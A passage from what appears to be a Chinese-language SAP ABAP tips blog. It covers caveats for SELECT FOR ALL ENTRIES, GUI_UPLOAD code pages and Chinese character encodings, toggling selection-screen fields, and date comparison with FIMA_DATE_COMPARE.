2.使用該語句,對于最後得出的結果集系統會自動删除重複行。是以如果你要保留重複行記錄時,記得在SELECT語句中添加足夠鍵值項目(有必要時,增加全部鍵值項目),以保證結果集中所需重複項目不會被删除。(例如選取支付金額時,支付事件可能不同,但金額可能相同,此時一定要注意,以避免錯誤删除結果記錄。)
3.FOR ALL ENTRIES IN後面使用的内部表itab如果為空,系統将視為無條件選取,将目前CLIENT下所有記錄選出。是以為避免無意義的全件檢索,在使用該語句前一定要判斷内部表itab是否為空,為空時不執行包含該語句的資料庫檢索處理。
4.由于itab-f實際上是作為占位符被替換,是以内部表itab中不要包含HEADER行(項目辨別名稱行),以免造成混淆,檢索出錯。
5.内部表itab中作為條件替換用項目的類型和長度,一定要和檢索資料庫中對應的項目相同,否則編譯不能通過。
6.對于内部表itab中作為條件替換用項目,不能使用LIKE,BETWEEN,IN比較操作符。因為這些比較操作符都是不确定比較操作符(将選擇條件設定在一個範圍内),而FOR ALL ENTRIES IN語句的作用相當于将選擇條件塊全部并列開來,用OR連接配接,如果每個OR分支中又是不确定的範圍,那麼系統性能将大大降低,是以R/3系統在使用該語句時禁止使用不确定比較操作符。
7.使用該語句時,ORDER BY語句和HAVING語句将不能使用。
8.使用該語句時,除COUNT( * )以外的所有合計函數(MAX,MIN,AVG,SUM)都不能使用。
//判斷内表是否為空
使用語句: DESCRIBE TABLE ITAB LINES VARIABLE.判斷系統變量sy-subrc是否為0,如果為0就表示不空,反之為空!
DESCRIBE TABLE ITAB LINES VARIABLE
IF NOT P_VARIANT IS INITIAL.
WX_VARIANT-VARIANT = P_VARIANT.
ENDIF.
備注: 使用 for all entries in 雖然在某些方面是很友善的,但是他很耗記憶體, 在使用時一定要注意, 若不是萬萬不得已還是建議不要使用為好。
14:08 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP 3月29日
SAP ABAP----關于GUI_UPLOAD時CODEPAGE的使用的小知識
在很多項目裡,或者一些應用上,我們經常需要把一些檔案導入到SAP系統裡,最經常我們使用的讀取資料的方法就是使用GUI_UPLOAD這個FM.在這個FM中有個CODEPAGE,是用來指定代碼頁的.
如果我們導的是中文的話,我們經常使用的是8400.當然還有8401,8411等等.
主要介紹一下8400/8401.因為大家最常用的是8400.看8400的介紹上說,是based on GB2312-EUC版本,WINDOWS的代碼頁就是CP936.8401使用的就是GB18030 2000編碼.那麼他們的差別在哪裡呢.
1、 GB2312
GB2312(1980年)一共收錄了7445個字元,包括6763個漢字和682個其它符号。漢字區的内碼範圍高位元組從B0-F7,低位元組從A1-FE,占用的碼位是72*94=6768。其中有5個空位是D7FA-D7FE。
在windows中的代碼頁是CP936
2、 GBK
GBK最初是由微軟對GB2312的擴充,也就是CP936字碼表 (Code Page 936)的擴充(原來的CP936和GB 2312-80一模一樣),最初出現于Windows 95簡體中文版中,由于Windows産品的流行和在大陸廣泛被使用,中華人民共和國國家有關部門将其作為技術規範。注意GBK并非國家正式标準,隻是國家技術監督局标準化司、電子工業部科技與品質監督司釋出的“技術規範指導性檔案”。雖然 GBK收錄了所有Unicode 1.1及GB 13000.1-93之中的漢字,但是編碼方式與Unicode 1.1及GB 13000.1-93不同。僅僅是GB 2312到GB 13000.1-93之間的過渡方案。GBK收錄了21886個符号,它分為漢字區和圖形符号區。漢字區包括21003個字元。
GBK作為對GB2312的擴充,在現在的windows系統中仍然使用代碼頁CP936表示,但是同樣的936的代碼頁跟一開始的936的代碼頁隻支援GB2312編碼不同,現在的936代碼頁支援GBK的編碼,GBK同時也向下相容GB2312編碼。
3、 GB18030
2000年的GB18030取代了GBK1.0的正式國家标準。該标準收錄了27484個漢字,同時還收錄了藏文、蒙文、維吾爾文等主要的少數民族文字。現在的PC平台必須支援GB18030,對嵌入式産品暫不作要求。是以手機、MP3一般隻支援GB2312。
GB18030在windows中的代碼頁是CP54936。
4、 GB13000
GB13000等同于國際标準的《通用多八位編碼字元集 (UCS)》 ISO10646.1,就是等同于Unicode的标準,代碼頁等等的都使用UTF的一套标準。
從ASCII、GB2312、GBK到GB18030,這些編碼方法是向下相容的,即同一個字元在這些方案中總是有相同的編碼,後面的标準支援更多的字元。在這些編碼中,英文和中文可以統一地處理。區分中文編碼的方法是高位元組的最高位不為0。按照程式員的稱呼,GB2312、GBK到GB18030都屬于雙位元組字元集 (DBCS)。
1:59 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
SAP ABAP----選擇螢幕上控制字段的隐藏和顯示
說明:2個字段, S_NETVAL /R_NETVAL,點選CK_CRM的時候,顯示S_NETVAL,隐藏R_NETVAL.
點選CK_C2K的時候,顯示R_NETVAL,隐藏S_NETVAL.
SELECT-OPTIONS: S_NETVAL FOR CRMD_ORDER_INDEX-NET_VALUE VISIBLE LENGTH 10 MODIF ID DID, "單張訂單金額
R_NETVAL FOR ZT0073-ZSUBTOTAL MODIF ID UID.
SELECTION-SCREEN BEGIN OF LINE.
SELECTION-SCREEN COMMENT 18(5) TEXT-S02 FOR FIELD CK_CRM.
PARAMETERS:CK_CRM RADIOBUTTON GROUP RAD1 DEFAULT 'X' USER-COMMAND ZCODE.
SELECTION-SCREEN COMMENT 30(5) TEXT-S03 FOR FIELD CK_C2K.
PARAMETERS:CK_C2K RADIOBUTTON GROUP RAD1 .
SELECTION-SCREEN END OF LINE.
AT SELECTION-SCREEN OUTPUT.
*** hide/show fields according to current selection
IF CK_CRM = 'X'.
HIDID = 'UID'.
ELSEIF CK_C2K = 'X'.
HIDID = 'DID'.
ENDIF.
LOOP AT SCREEN.
IF SCREEN-GROUP1 = HIDID.
SCREEN-ACTIVE = '0'.
SCREEN-INVISIBLE = '1'.
MODIFY SCREEN.
ENDIF.
ENDLOOP.
1:56 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
SAP ABAP----比較日期和時間
FIMA_DATE_COMPARE
TYPE-POOLS : TRFF .
DATA : X_LOG_OP TYPE TRFF_TYPE_C_2 .
CALL FUNCTION 'FIMA_DATE_COMPARE'
EXPORTING
I_FLG_INTRADAY = 'X'
I_DATE = SY-DATUM
I_TIME = SY-UZEIT
I_COMP_DATE = L_MODIFY-MODDATE
I_COMP_TIME = L_MODIFY-MODTIME
IMPORTING
E_LOG_OP = X_LOG_OP.